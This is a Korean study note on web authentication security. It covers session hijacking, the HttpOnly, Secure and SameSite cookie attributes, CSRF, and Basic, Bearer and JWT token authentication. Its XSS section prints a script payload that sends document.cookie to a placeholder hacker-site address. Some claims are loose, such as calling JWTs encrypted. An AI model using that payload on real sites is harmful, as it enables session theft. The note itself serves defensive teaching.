참고
Cookie / Session의 취약점
NOTE
쿠키를 통해 사용자 식별정보(Session ID)를 저장하여 인증을 진행할하므로 해커들은 다양한 방법으로 이 쿠키를 탈취하려고 한다!
일반적인 로그인 프로세스
•
세션 하이재킹(Session hijacking)
◦
인증이 완료된 사용자의 브라우저에서 인증을 식별하고 있는 쿠키를 탈취해 로그인없이 탈취한 쿠키를 사용해 서버와 통신하는 행위
•
Cookie를 통해 인증이 이루어지기 때문에, Cookie만 탈취하게 된다면, 그 사람으로 위장하여 정보 또는 결제를 할 수 있게된다.
◦
ex) 네이버는 Cookie가 탈취당했더라도 결제를 막기위해, 비밀번호 입력을 해야한다,
⇒ Cookie의 보안속성을 통해 해결해보자!
개발자도구 Application-cookie에서 확인가능
HTTP Only Cookies(Xss 문제해결)
NOTE
Script를 통한 탈취방법(XSS)을 막고자 브라우저에서는 쿠키를 접근할 수 없도록 제한하는 옵션!
•
HTTP 통신외에는 Cookie 접근이 불가능하도록 한다.
•
HttpOnly속성을 지닌 쿠키는 JavaScirpt를 통한 접근이 불가능하다.
◦
ex) js의 document.cookie를 통한 쿠키접근을 막아줌
XSS(Cross Site Scripting)
<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
YAML
복사
•
게시판 제목 또는 이미지 src에 해커사이트 주소로 연결되게 작성해 쿠키를 탈취하는 방법이다.
•
해커 사이트로 이동하게 되면서 이전 웹에 있던 Cookie값들이 해커 사이트의 Controller 단에서 Cookie라는 파라미터를 받아 탈취하게 된다.
Secure Cookies
NOTE
HTTPS를 사용해서 쿠키를 암호화해 전송한다!
•
SSL 암호화가 적용된 HTTPS 프로토콜을 이용해 데이터를 암호화해서 전달한다.
•
해커들이 쿠키를 탈취하였다고 해도, 암호화되어 정보를 알아낼 수 없다.
SameSite
NOTE
CSRF문제를 해결하기 위해 등장한 기술이며, Cross-site로 전송하는 요청의 쿠키의 전송제한을 둘 수 있다!
•
Cross-site로 전송하는 요청의 경우 쿠키의 전송에 제한을 두도록한다!
쿠키의 CSRF(Cross-Site Request Forgery) 문제
쉽게 설명하면 사용자의 권한을 통해 해커가 원하는 동작을 실행한다
•
사이트 사이 요청을 위조한다는 의미를 가지고 있다.
•
사용자는 자신이 의도 했던 것과 무관하게 공격자가 의도한 행위를 하게된다.
◦
ex) 회원정보 변경, 데이터 수정
HTTP Authentication - Token 인증방식
NOTE
HTTP는 사용자 인증을 하는 데 사용하는 자체 인증요구/응답 프레임워크를 제공한다!
•
로그인 시 서버로 부터 Token(암호화된 문자열)을 응답 받는다.
•
쿠키를 사용하지 않아도 되므로, 쿠키를 탈취 당했을 때 보안 취약점들도 사라진다.
◦
세션 하이재킹 해결!
•
Session 정보가 토큰 자체에 내장되어 있다.
◦
무상태 HTTP 요청을 유지할 수 있다!
◦
무상태성을 유지해 확장성 개선!
Basic
NOTE
사용자 ID와 PW를 Base64로 인코딩한 값을 토큰으로 사용한다!
HTTP 헤더 Authorization을 사용하는 방식 (Basic)
•
클라이언트는 Authorization 헤더에 인코딩 문자열(암호화 아님)을 전송한다.
◦
username:password 값을 Base 64로 인코딩하여 보낸다.
◦
서버는 해당 값을 디코딩하고, 401발생시 실패이유를 응답한다.
•
Basic 토큰 값이 노출이 되면 ID, PW가 노출되는 것이기 때문에 보안에 취약하다
Bearer
NOTE
Baere은 짐꾼을 의미하며, JWT와 같은 토큰 인증 방식에서 사용된다.
Basic과 달리 암호화된걸 받는다.
•
Basic방식과는 달리 ID,PW 값을 인코딩한값이 아, 암호화된 토큰을 부여받는다!
JWT(Json Web Token)
NOTE
JWT ⇒ 인증에 필요한 정보들을 인코딩 시킨 하나의 문자열을 의미한다!
만들어진 토큰(암호화된 문자열)은 HTTP Authorization에 적어서 보낸다.
디코하면 Header, Payload, Verfiy Signature가 나온다.
•
Token
◦
인증을 위해 사용되는 암호화 문자열
◦
JSON 같은 형식의 데이터를 Base64로 인코딩 한것이다.
•
Header
◦
누구나 읽을 수 있는 암호화 방식(alg), 데이터 유형타입(typ)등을 포함한다.
•
Playload
◦
누구나 읽을 수 있는 서버에 보낼 데이터이다.
◦
사용자의 ID정보, 유효기간이 포함됨
•
Verify Signature
◦
Base64로 인코딩한 Hader+Payload의 비밀키로 만든 암호 전자서명